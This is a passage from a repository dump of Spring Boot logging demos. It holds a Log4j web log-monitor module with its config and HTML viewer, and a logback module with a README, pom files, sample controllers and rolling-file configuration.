notifierThread.setName(\"little-ant-Thread-Log4jAsyncWriter\");\n        notifierThread.start();\n    }\n\n    @Override\n    public void write(char[] cbuf, int off, int len) throws IOException {\n        try {\n            msgQueue.put(new String(cbuf, off, len));\n        } catch (Exception ex) {\n            IOException t = new IOException();\n            t.initCause(ex);\n            throw t;\n        }\n    }\n\n    @Override\n    public void flush() throws IOException {\n    }\n\n    @Override\n    public void close() throws IOException {\n\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_log4jmonitor/src/main/resources/application.properties",
    "content": "server.port=80"
  },
  {
    "path": "jun_springboot_plugin/springboot_log4jmonitor/src/main/resources/log4j.properties",
    "content": "# \\u65E5\\u5FD7\\u7EA7\\u522B\n#log4j.rootLogger=DEBUG, JDBC, webpage, console, fileDebug, fileInfo, fileError\n#log4j.rootLogger = DEBUG,INFO,stdout,errorlogfile\nlog4j.rootLogger=DEBUG, webpage, console, fileDebug, fileInfo, fileError\n\n# \\u6307\\u5B9A\\u7EA7\\u522B\n#\\u7CFB\\u7EDF\\u65E5\\u5FD7\\u76D1\\u63A7\nlog4j.logger.com.chitry=DEBUG\n\n\n# \\u8F93\\u51FA\\u63A7\\u5236\n#\\u65E5\\u5FD7\\u5165\\u5E93\n#JDBC configure\n#log4j.appender.JDBC.Threshold=INFO\n#log4j.appender.JDBC=org.apache.log4j.jdbc.JDBCAppender\n#log4j.appender.JDBC.driver=org.postgresql.Driver\n#log4j.appender.JDBC.URL=jdbc:postgresql://127.0.0.1:5432/jfinaluibv2\n#log4j.appender.JDBC.user=postgres\n#log4j.appender.JDBC.password=678789\n#log4j.appender.JDBC.layout=org.apache.log4j.PatternLayout\n#log4j.appender.JDBC.sql=insert into pt_log4j(userid, username, classname, methodname, createtime, loglevel, msg) values('%X{userId}', '%X{userName}', '%C', '%M', '%d{yyyy-MM-dd HH:mm:ss}', '%p', '%m')\n\n#CREATE TABLE pt_log4j (\n#ids serial NOT NULL,\n#userid character varying(32) ,--\\u7528\\u6237ID\n#username character varying(200) ,--\\u7528\\u6237\\u59D3\\u540D\n#classname character varying(500) ,--\\u7C7B\\u540D\n#methodname character varying(200), --\\u65B9\\u6CD5\\u540D\n#createtime text ,--\\u4EA7\\u751F\\u65F6\\u95F4\n#loglevel character varying(20),--\\u65E5\\u5FD7\\u7EA7\\u522B\n#msg text, --\\u65E5\\u5FD7\\u4FE1\\u606F\n#constraint pt_log4j_pkey PRIMARY KEY (ids)\n#)\n\n# \\u8F93\\u51FA\\u5230\\u63A7\\u5236\\u53F0\nlog4j.appender.Threshold=DEBUG\nlog4j.appender.console=org.apache.log4j.ConsoleAppender\n#log4j.appender.console.encoding=UTF-8\nlog4j.appender.console.layout=org.apache.log4j.PatternLayout\nlog4j.appender.console.layout.ConversionPattern=[%p]: %-d{yyyy-MM-dd HH:mm:ss}  TTL=%r   [Thread: %t] [%X{userId}] [%X{userName}]   %l%n%m%n\n\n# \\u8F93\\u51FA\\u5230web\\u9875\\u9762\nlog4j.appender.webpage=com.chitry.log4jmonitor.core.Log4jAppender\nlog4j.appender.webpage.encoding=UTF-8\nlog4j.appender.webpage.Append=true\nlog4j.appender.webpage.layout=org.apache.log4j.PatternLayout\nlog4j.appender.webpage.layout.ConversionPattern= [%p]: %-d{yyyy-MM-dd HH:mm:ss}  TTL=%r   [Thread: %t] [%X{userId}] [%X{userName}]   %l%n %m\n\n# ConversionPattern\\u53C2\\u6570\\u7684\\u683C\\u5F0F\\u542B\\u4E49 %-d{yyyy-MM-dd HH:mm:ss} [%c]-[%p] - %m%n\n# \\u683C\\u5F0F\\u540D \\u542B\\u4E49\n# %c \\u8F93\\u51FA\\u65E5\\u5FD7\\u4FE1\\u606F\\u6240\\u5C5E\\u7684\\u7C7B\\u7684\\u5168\\u540D\n# %d \\u8F93\\u51FA\\u65E5\\u5FD7\\u65F6\\u95F4\\u70B9\\u7684\\u65E5\\u671F\\u6216\\u65F6\\u95F4\\uFF0C\\u9ED8\\u8BA4\\u683C\\u5F0F\\u4E3AISO8601\\uFF0C\\u4E5F\\u53EF\\u4EE5\\u5728\\u5176\\u540E\\u6307\\u5B9A\\u683C\\u5F0F\\uFF0C\\u6BD4\\u5982\\uFF1A%d{yyy-MM-dd HH:mm:ss }\\uFF0C\\u8F93\\u51FA\\u7C7B\\u4F3C\\uFF1A2002-10-18- 22\\uFF1A10\\uFF1A28\n# %f \\u8F93\\u51FA\\u65E5\\u5FD7\\u4FE1\\u606F\\u6240\\u5C5E\\u7684\\u7C7B\\u7684\\u7C7B\\u540D\n# %l \\u8F93\\u51FA\\u65E5\\u5FD7\\u4E8B\\u4EF6\\u7684\\u53D1\\u751F\\u4F4D\\u7F6E\\uFF0C\\u5373\\u8F93\\u51FA\\u65E5\\u5FD7\\u4FE1\\u606F\\u7684\\u8BED\\u53E5\\u5904\\u4E8E\\u5B83\\u6240\\u5728\\u7684\\u7C7B\\u7684\\u7B2C\\u51E0\\u884C\n# %m \\u8F93\\u51FA\\u4EE3\\u7801\\u4E2D\\u6307\\u5B9A\\u7684\\u4FE1\\u606F\\uFF0C\\u5982log(message)\\u4E2D\\u7684message\n# %n \\u8F93\\u51FA\\u4E00\\u4E2A\\u56DE\\u8F66\\u6362\\u884C\\u7B26\\uFF0CWindows\\u5E73\\u53F0\\u4E3A\\u201Crn\\u201D\\uFF0CUnix\\u5E73\\u53F0\\u4E3A\\u201Cn\\u201D\n# %p \\u8F93\\u51FA\\u4F18\\u5148\\u7EA7\\uFF0C\\u5373DEBUG\\uFF0CINFO\\uFF0CWARN\\uFF0CERROR\\uFF0CFATAL\\u3002\\u5982\\u679C\\u662F\\u8C03\\u7528debug()\\u8F93\\u51FA\\u7684\\uFF0C\\u5219\\u4E3ADEBUG\\uFF0C\\u4F9D\\u6B64\\u7C7B\\u63A8\n# %r \\u8F93\\u51FA\\u81EA\\u5E94\\u7528\\u542F\\u52A8\\u5230\\u8F93\\u51FA\\u8BE5\\u65E5\\u5FD7\\u4FE1\\u606F\\u6240\\u8017\\u8D39\\u7684\\u6BEB\\u79D2\\u6570\n# %t \\u8F93\\u51FA\\u4EA7\\u751F\\u8BE5\\u65E5\\u5FD7\\u4E8B\\u4EF6\\u7684\\u7EBF\\u7A0B\\u540D\n\n\n# ${catalina.home}/logs\n\n# \\u8F93\\u51FA\\u5230\\u6587\\u4EF6 debug\nlog4j.appender.fileDebug=org.apache.log4j.RollingFileAppender\nlog4j.appender.fileDebug.encoding=UTF-8\nlog4j.appender.fileDebug.Append=true\nlog4j.appender.fileDebug.Threshold=DEBUG\nlog4j.appender.fileDebug.File=logs/log4jmonitor/debug.log\nlog4j.appender.fileDebug.MaxFileSize=10MB\nlog4j.appender.fileDebug.MaxBackupIndex=1000\nlog4j.appender.fileDebug.layout=org.apache.log4j.PatternLayout\nlog4j.appender.fileDebug.layout.ConversionPattern=%-d{yyyy-MM-dd HH:mm:ss.SSS} [%X{userId}] [%X{userName}] %p [%t] <%F [%L] - %M> <%m> %X{traceId}%n\n\n# \\u8F93\\u51FA\\u5230\\u6587\\u4EF6 info\nlog4j.appender.fileInfo=org.apache.log4j.RollingFileAppender\nlog4j.appender.fileInfo.encoding=UTF-8\nlog4j.appender.fileInfo.Append=true\nlog4j.appender.fileInfo.Threshold=INFO\nlog4j.appender.fileInfo.File=logs/log4jmonitor/info.log\nlog4j.appender.fileInfo.MaxFileSize=10MB\nlog4j.appender.fileInfo.MaxBackupIndex=500\nlog4j.appender.fileInfo.layout=org.apache.log4j.PatternLayout\nlog4j.appender.fileInfo.layout.ConversionPattern=%-d{yyyy-MM-dd HH:mm:ss.SSS} [%X{userId}] [%X{userName}] %p [%t] <%F [%L] - %M> <%m>%n\n\n# \\u8F93\\u51FA\\u5230\\u6587\\u4EF6 error\nlog4j.appender.fileError=org.apache.log4j.RollingFileAppender\nlog4j.appender.fileError.encoding=UTF-8\nlog4j.appender.fileError.Append=true\nlog4j.appender.fileError.Threshold=ERROR\nlog4j.appender.fileError.File=logs/log4jmonitor/error.log\nlog4j.appender.fileError.MaxFileSize=10MB\nlog4j.appender.fileError.MaxBackupIndex=100\nlog4j.appender.fileError.layout=org.apache.log4j.PatternLayout\nlog4j.appender.fileError.layout.ConversionPattern=%-d{yyyy-MM-dd HH:mm:ss.SSS} [%X{userId}] [%X{userName}] %p [%t] <%l> %m%n\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_log4jmonitor/src/main/resources/static/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <title>Log4j在线监控</title>\n    <script>document.write('<base href=\"' + document.location + '\" />');</script>\n    <meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\n    <style>\n        pre {\n            white-space: pre-wrap;\n            word-wrap: break-word;\n            color: #DDDDDD;\n            font-family: Arial;\n            width: 100%;\n            height: 1000px;\n            border: 0;\n            background-color: #000000;\n            overflow: auto\n        }\n\n        #result {\n            margin-top: -15px;\n            margin-bottom: 100px;\n        }\n\n        .istyle {\n            font-size: 14px;\n            font-family: Arial;\n        }\n    </style>\n    <script type=\"text/javascript\"\n            src=\"resources/jquery/jquery-1.11.3.min.js\"></script>\n    <script type=\"text/javascript\">\n        $(document).ready(function () {\n            console.info(\"log4jmonitor init\");\n            $('#comet-frame')[0].src = document.location.href + '/log4jmonitor';\n        });\n        var ray = \"<span class=\\\"waitray\\\">_</span>\";\n        window.setInterval(doRay, 500);\n        var waitray = 0;\n        function doRay() {\n            waitray++;\n            if (waitray == 1) $(\".waitray\").text(\"_\");\n            else if (waitray == 2) $(\".waitray\").text(\" \");\n            else {\n                waitray = 0;\n                $(\".waitray\").text(\"_\");\n            }\n        }\n        var contentData = \"\";\n        //此方法由window.parent.update进行调用\n        function update(data) {\n            console.info(data);\n            var color = \"#00FFFF\";\n            if (data.indexOf('[INFO]') >= 0)\n                color = \"#3385FF\";\n            else if (data.indexOf('[WARN]') >= 0)\n                color = \"yellow\";\n            else if (data.indexOf('[ERROR]') >= 0)\n                color = \"red\";\n            data = data.replace(\"[\", \" [<font class='istyle' color='\" + color + \"'>\");\n            data = data.replace(\"]\", \"</font>]<font class='istyle'>\");\n            data += \"</font>\"\n            var resultArea = $('#result')[0];\n            contentData += data;\n            resultArea.innerHTML = contentData + \"&nbsp;&nbsp;\" + ray;\n            contentData += \"<br/>\";\n            /* $(\"#repre\").scrollTo(0,$(\"#repre\").scrollHeight)   */\n        }\n        function printNow(opt) {\n            var day = \"\";\n            var month = \"\";\n            var ampm = \"\";\n            var ampmhour = \"\";\n            var year = \"\";\n            var myHours = \"\";\n            var myMinutes = \"\";\n            var mySeconds = \"\";\n            mydate = new Date();\n            mymonth = parseInt(mydate.getMonth() + 1) < 10 ? \"0\"\n            + (mydate.getMonth() + 1) : mydate.getMonth() + 1;\n            myday = mydate.getDate();\n            myyear = mydate.getYear();\n            myHours = mydate.getHours();\n            myMinutes = mydate.getMinutes();\n            mySeconds = parseInt(mydate.getSeconds()) < 10 ? \"0\"\n            + mydate.getSeconds() : mydate.getSeconds();\n            year = (myyear > 200) ? myyear : 1900 + myyear;\n            $(opt).text(\n                year + \"-\" + mymonth + \"-\" + myday + \" \" + myHours + \":\"\n                + myMinutes + \":\" + mySeconds);\n            setTimeout(\"printNow(\\\"\" + opt + \"\\\")\", 1000);\n        }\n        printNow(\"#nowtime\");\n        var waitsign = 0;\n        window.setInterval(dowait, 1000);\n        function dowait() {\n            if (waitsign == 6) {\n                waitsign = 0;\n                $(\"#waitspan\").text(\".\");\n            } else {\n                $(\"#waitspan\").text($(\"#waitspan\").text() + \".\");\n                waitsign++;\n            }\n\n        }\n    </script>\n</head>\n<body style=\"margin:0; overflow:hidden\">\n[\n<font class='istyle' color='red'>Log4j Monitor</font>\n]:\n<span id=\"nowtime\"></span> 正在嗅探,请稍后(Sniffing,please hold on)\n<span id=\"waitspan\"></span>\n<pre id=\"repre\">\n\t\t<div id=\"result\">&nbsp;&nbsp;<span class=\"waitray\">_</span></div>\n\t\t<div id=\"scol\" style=\"height:0px; overflow:hidden\"><a id=\"res_end\" name=\"1\" href=\"#1\">&nbsp</a></div>\n\t</pre>\n<iframe id=\"comet-frame\" style=\"display: none;\"></iframe>\n</body>\n\n<!-- 这是测试：定时请求/sniff，使系统产生日志 -->\n<!--<script>-->\n<!--$(function () {-->\n<!--testlog();-->\n<!--})-->\n<!--window.setInterval(testlog, 2000);-->\n<!--function testlog() {-->\n<!--$.ajax({url: \"sniff\", async: false});-->\n<!--}-->\n<!--</script>-->\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_logback/README.md",
    "content": "# spring-boot-demo-logback\n\n> 此 demo 主要演示了如何使用 logback 记录程序运行过程中的日志，以及如何配置 logback，可以同时生成控制台日志和文件日志记录，文件日志以日期和大小进行拆分生成。\n\n## pom.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<artifactId>spring-boot-demo-logback</artifactId>\n\t<version>1.0.0-SNAPSHOT</version>\n\t<packaging>jar</packaging>\n\n\t<name>spring-boot-demo-logback</name>\n\t<description>Demo project for Spring Boot</description>\n\n\t<parent>\n\t\t<groupId>com.xkcoding</groupId>\n\t\t<artifactId>spring-boot-demo</artifactId>\n\t\t<version>1.0.0-SNAPSHOT</version>\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.projectlombok</groupId>\n\t\t\t<artifactId>lombok</artifactId>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<finalName>spring-boot-demo-logback</finalName>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n</project>\n```\n\n## SpringBootDemoLogbackApplication.java\n\n```java\n/**\n * <p>\n * 启动类\n * </p>\n *\n * @package: com.xkcoding.logback\n * @description: 启动类\n * @author: yangkai.shen\n * @date: Created in 2018/9/30 11:16 PM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@SpringBootApplication\n@Slf4j\npublic class SpringBootDemoLogbackApplication {\n\n\tpublic static void main(String[] args) {\n\t\tConfigurableApplicationContext context = SpringApplication.run(SpringBootDemoLogbackApplication.class, args);\n\t\tint length = context.getBeanDefinitionNames().length;\n\t\tlog.trace(\"Spring boot启动初始化了 {} 个 Bean\", length);\n\t\tlog.debug(\"Spring boot启动初始化了 {} 个 Bean\", length);\n\t\tlog.info(\"Spring boot启动初始化了 {} 个 Bean\", length);\n\t\tlog.warn(\"Spring boot启动初始化了 {} 个 Bean\", length);\n\t\tlog.error(\"Spring boot启动初始化了 {} 个 Bean\", length);\n\t\ttry {\n\t\t\tint i = 0;\n\t\t\tint j = 1 / i;\n\t\t} catch (Exception e) {\n\t\t\tlog.error(\"【SpringBootDemoLogbackApplication】启动异常：\", e);\n\t\t}\n\t}\n}\n```\n\n## logback-spring.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<configuration>\n\t<include resource=\"org/springframework/boot/logging/logback/defaults.xml\"/>\n\t<appender name=\"CONSOLE\" class=\"ch.qos.logback.core.ConsoleAppender\">\n\t\t<filter class=\"ch.qos.logback.classic.filter.LevelFilter\">\n\t\t\t<level>INFO</level>\n\t\t</filter>\n\t\t<encoder>\n\t\t\t<pattern>%date [%thread] %-5level [%logger{50}] %file:%line - %msg%n</pattern>\n\t\t\t<charset>UTF-8</charset>\n\t\t</encoder>\n\t</appender>\n\n\t<appender name=\"FILE_INFO\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n\t\t<!--如果只是想要 Info 级别的日志，只是过滤 info 还是会输出 Error 日志，因为 Error 的级别高， 所以我们使用下面的策略，可以避免输出 Error 的日志-->\n\t\t<filter class=\"ch.qos.logback.classic.filter.LevelFilter\">\n\t\t\t<!--过滤 Error-->\n\t\t\t<level>ERROR</level>\n\t\t\t<!--匹配到就禁止-->\n\t\t\t<onMatch>DENY</onMatch>\n\t\t\t<!--没有匹配到就允许-->\n\t\t\t<onMismatch>ACCEPT</onMismatch>\n\t\t</filter>\n\t\t<!--日志名称，如果没有File 属性，那么只会使用FileNamePattern的文件路径规则如果同时有<File>和<FileNamePattern>，那么当天日志是<File>，明天会自动把今天的日志改名为今天的日期。即，<File> 的日志都是当天的。-->\n\t\t<!--<File>logs/info.spring-boot-demo-logback.log</File>-->\n\t\t<!--滚动策略，按照时间滚动 TimeBasedRollingPolicy-->\n\t\t<rollingPolicy class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n\t\t\t<!--文件路径,定义了日志的切分方式——把每一天的日志归档到一个文件中,以防止日志填满整个磁盘空间-->\n\t\t\t<FileNamePattern>logs/spring-boot-demo-logback/info.created_on_%d{yyyy-MM-dd}.part_%i.log</FileNamePattern>\n\t\t\t<!--只保留最近90天的日志-->\n\t\t\t<maxHistory>90</maxHistory>\n\t\t\t<!--用来指定日志文件的上限大小，那么到了这个值，就会删除旧的日志-->\n\t\t\t<!--<totalSizeCap>1GB</totalSizeCap>-->\n\t\t\t<timeBasedFileNamingAndTriggeringPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP\">\n\t\t\t\t<!-- maxFileSize:这是活动文件的大小，默认值是10MB,本篇设置为1KB，只是为了演示 -->\n\t\t\t\t<maxFileSize>2MB</maxFileSize>\n\t\t\t</timeBasedFileNamingAndTriggeringPolicy>\n\t\t</rollingPolicy>\n\t\t<!--<triggeringPolicy class=\"ch.qos.logback.core.rolling.SizeBasedTriggeringPolicy\">-->\n\t\t<!--<maxFileSize>1KB</maxFileSize>-->\n\t\t<!--</triggeringPolicy>-->\n\t\t<encoder>\n\t\t\t<pattern>%date [%thread] %-5level [%logger{50}] %file:%line - %msg%n</pattern>\n\t\t\t<charset>UTF-8</charset> <!-- 此处设置字符集 -->\n\t\t</encoder>\n\t</appender>\n\n\t<appender name=\"FILE_ERROR\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n\t\t<!--如果只是想要 Error 级别的日志，那么需要过滤一下，默认是 info 级别的，ThresholdFilter-->\n\t\t<filter class=\"ch.qos.logback.classic.filter.ThresholdFilter\">\n\t\t\t<level>Error</level>\n\t\t</filter>\n\t\t<!--日志名称，如果没有File 属性，那么只会使用FileNamePattern的文件路径规则如果同时有<File>和<FileNamePattern>，那么当天日志是<File>，明天会自动把今天的日志改名为今天的日期。即，<File> 的日志都是当天的。-->\n\t\t<!--<File>logs/error.spring-boot-demo-logback.log</File>-->\n\t\t<!--滚动策略，按照时间滚动 TimeBasedRollingPolicy-->\n\t\t<rollingPolicy class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n\t\t\t<!--文件路径,定义了日志的切分方式——把每一天的日志归档到一个文件中,以防止日志填满整个磁盘空间-->\n\t\t\t<FileNamePattern>logs/spring-boot-demo-logback/error.created_on_%d{yyyy-MM-dd}.part_%i.log</FileNamePattern>\n\t\t\t<!--只保留最近90天的日志-->\n\t\t\t<maxHistory>90</maxHistory>\n\t\t\t<timeBasedFileNamingAndTriggeringPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP\">\n\t\t\t\t<!-- maxFileSize:这是活动文件的大小，默认值是10MB,本篇设置为1KB，只是为了演示 -->\n\t\t\t\t<maxFileSize>2MB</maxFileSize>\n\t\t\t</timeBasedFileNamingAndTriggeringPolicy>\n\t\t</rollingPolicy>\n\t\t<encoder>\n\t\t\t<pattern>%date [%thread] %-5level [%logger{50}] %file:%line - %msg%n</pattern>\n\t\t\t<charset>UTF-8</charset> <!-- 此处设置字符集 -->\n\t\t</encoder>\n\t</appender>\n\n\t<root level=\"info\">\n\t\t<appender-ref ref=\"CONSOLE\"/>\n\t\t<appender-ref ref=\"FILE_INFO\"/>\n\t\t<appender-ref ref=\"FILE_ERROR\"/>\n\t</root>\n</configuration>\n```\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_logback/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_logback</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.projectlombok</groupId>\n\t\t\t<artifactId>lombok</artifactId>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<finalName>springboot_logback</finalName>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_logback/src/main/java/com/example/LogbackApplication.java",
    "content": "package com.example;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动类\n * </p>\n *\n * @author MrWen\n **/\n@SpringBootApplication\npublic class LogbackApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(LogbackApplication.class);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_logback/src/main/java/com/example/controller/LogController.java",
    "content": "package com.example.controller;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * <p>\n * logback日志测试\n * </p>\n *\n * @author MrWen\n **/\n@Slf4j\n@RestController\n@RequestMapping(\"/log\")\npublic class LogController {\n\n\n    @RequestMapping(\"/test\")\n    public void test() {\n        log.debug(\"debug日志测试啦！\");\n        log.info(\"info日志测试啦！\");\n        log.warn(\"warn日志测试啦！\");\n        log.error(\"error日志测试啦！\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_logback/src/main/java/com/jun/plugin/logback/SpringBootDemoLogbackApplication.java",
    "content": "package com.jun.plugin.logback;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.context.ConfigurableApplicationContext;\n\n/**\n * <p>\n * 启动类\n * </p>\n *\n * @package: com.xkcoding.logback\n * @description: 启动类\n * @author: yangkai.shen\n * @date: Created in 2018/9/30 11:16 PM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@SpringBootApplication\n@Slf4j\npublic class SpringBootDemoLogbackApplication {\n\n\tpublic static void main(String[] args) {\n\t\tConfigurableApplicationContext context = SpringApplication.run(SpringBootDemoLogbackApplication.class, args);\n\t\tint length = context.getBeanDefinitionNames().length;\n\t\tlog.trace(\"Spring boot启动初始化了 {} 个 Bean\", length);\n\t\tlog.debug(\"Spring boot启动初始化了 {} 个 Bean\", length);\n\t\tlog.info(\"Spring boot启动初始化了 {} 个 Bean\", length);\n\t\tlog.warn(\"Spring boot启动初始化了 {} 个 Bean\", length);\n\t\tlog.error(\"Spring boot启动初始化了 {} 个 Bean\", length);\n\t\ttry {\n\t\t\tint i = 0;\n\t\t\tint j = 1 / i;\n\t\t} catch (Exception e) {\n\t\t\tlog.error(\"【SpringBootDemoLogbackApplication】启动异常：\", e);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_logback/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\n  servlet:\n    context-path: /demo\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_logback/src/main/resources/logback-spring.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<configuration>\n  <property name=\"FILE_ERROR_PATTERN\"\n            value=\"${FILE_LOG_PATTERN:-%d{${LOG_DATEFORMAT_PATTERN:-yyyy-MM-dd HH:mm:ss.SSS}} ${LOG_LEVEL_PATTERN:-%5p} ${PID:- } --- [%t] %-40.40logger{39} %file:%line: %m%n${LOG_EXCEPTION_CONVERSION_WORD:-%wEx}}\"/>\n  <include resource=\"org/springframework/boot/logging/logback/defaults.xml\"/>\n\t<appender name=\"CONSOLE\" class=\"ch.qos.logback.core.ConsoleAppender\">\n\t\t<filter class=\"ch.qos.logback.classic.filter.LevelFilter\">\n\t\t\t<level>INFO</level>\n\t\t</filter>\n\t\t<encoder>\n\t\t\t<pattern>${CONSOLE_LOG_PATTERN}</pattern>\n\t\t\t<charset>UTF-8</charset>\n\t\t</encoder>\n\t</appender>\n\n\t<appender name=\"FILE_INFO\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n\t\t<!--如果只是想要 Info 级别的日志，只是过滤 info 还是会输出 Error 日志，因为 Error 的级别高， 所以我们使用下面的策略，可以避免输出 Error 的日志-->\n\t\t<filter class=\"ch.qos.logback.classic.filter.LevelFilter\">\n\t\t\t<!--过滤 Error-->\n\t\t\t<level>ERROR</level>\n\t\t\t<!--匹配到就禁止-->\n\t\t\t<onMatch>DENY</onMatch>\n\t\t\t<!--没有匹配到就允许-->\n\t\t\t<onMismatch>ACCEPT</onMismatch>\n\t\t</filter>\n\t\t<!--日志名称，如果没有File 属性，那么只会使用FileNamePattern的文件路径规则如果同时有<File>和<FileNamePattern>，那么当天日志是<File>，明天会自动把今天的日志改名为今天的日期。即，<File> 的日志都是当天的。-->\n\t\t<!--<File>logs/info.springboot_logback.log</File>-->\n\t\t<!--滚动策略，按照时间滚动 TimeBasedRollingPolicy-->\n\t\t<rollingPolicy class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n\t\t\t<!--文件路径,定义了日志的切分方式——把每一天的日志归档到一个文件中,以防止日志填满整个磁盘空间-->\n\t\t\t<FileNamePattern>logs/springboot_logback/info.created_on_%d{yyyy-MM-dd}.part_%i.log</FileNamePattern>\n\t\t\t<!--只保留最近90天的日志-->\n\t\t\t<maxHistory>90</maxHistory>\n\t\t\t<!--用来指定日志文件的上限大小，那么到了这个值，就会删除旧的日志-->\n\t\t\t<!--<totalSizeCap>1GB</totalSizeCap>-->\n\t\t\t<timeBasedFileNamingAndTriggeringPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP\">\n\t\t\t\t<!-- maxFileSize:这是活动文件的大小，默认值是10MB,本篇设置为1KB，只是为了演示 -->\n\t\t\t\t<maxFileSize>2MB</maxFileSize>\n\t\t\t</timeBasedFileNamingAndTriggeringPolicy>\n\t\t</rollingPolicy>\n\t\t<!--<triggeringPolicy class=\"ch.qos.logback.core.rolling.SizeBasedTriggeringPolicy\">-->\n\t\t<!--<maxFileSize>1KB</maxFileSize>-->\n\t\t<!--</triggeringPolicy>-->\n\t\t<encoder>\n\t\t\t<pattern>${FILE_LOG_PATTERN}</pattern>\n\t\t\t<charset>UTF-8</charset> <!-- 此处设置字符集 -->\n\t\t</encoder>\n\t</appender>\n\n\t<appender name=\"FILE_ERROR\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n\t\t<!--如果只是想要 Error 级别的日志，那么需要过滤一下，默认是 info 级别的，ThresholdFilter-->\n\t\t<filter class=\"ch.qos.logback.classic.filter.ThresholdFilter\">\n\t\t\t<level>Error</level>\n\t\t</filter>\n\t\t<!--日志名称，如果没有File 属性，那么只会使用FileNamePattern的文件路径规则如果同时有<File>和<FileNamePattern>，那么当天日志是<File>，明天会自动把今天的日志改名为今天的日期。即，<File> 的日志都是当天的。-->\n\t\t<!--<File>logs/error.springboot_logback.log</File>-->\n\t\t<!--滚动策略，按照时间滚动 TimeBasedRollingPolicy-->\n\t\t<rollingPolicy 